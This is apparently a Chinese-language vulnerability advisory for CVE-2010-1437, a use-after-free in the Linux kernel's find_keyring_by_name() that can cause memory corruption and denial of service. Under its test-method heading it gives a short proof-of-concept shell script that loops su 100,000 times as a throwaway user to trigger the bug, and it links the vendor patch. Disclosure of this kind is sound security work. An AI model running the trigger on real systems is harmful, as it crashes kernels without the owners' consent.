Linux Kernel find_keyring_by_name()函数本地内存破坏漏洞


发布日期:2010-04-27
更新日期:2010-04-28

受影响系统:
Linux kernel 2.6.34-rc5
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 39719
CVE ID: CVE-2010-1437

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel的find_keyring_by_name()函数可能获得已经释放的密钥环,之后再访问该密钥环就会触发内存破坏,导致拒绝服务的情况。

<*来源:Toshiyuki Okajima (toshi.okajima@jp.fujitsu.com)
 
  链接:https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=585094
        http://www.gossamer-threads.com/lists/linux/kernel/1216391#
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/bin/sh

LOOP=100000
USER=dummy_user
# add
/bin/su -c "exit;" $USER || { /usr/sbin/adduser -m $USER; add=1; }

for ((i=0; i<LOOP; i++))
do
       /bin/su -c "echo '$i' > /dev/null" $USER
done

# del
(( add == 1 )) && /usr/sbin/userdel -r $USER
exit

建议:
--------------------------------------------------------------------------------
厂商补丁:

Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

https://patchwork.kernel.org/patch/94038/

相关内容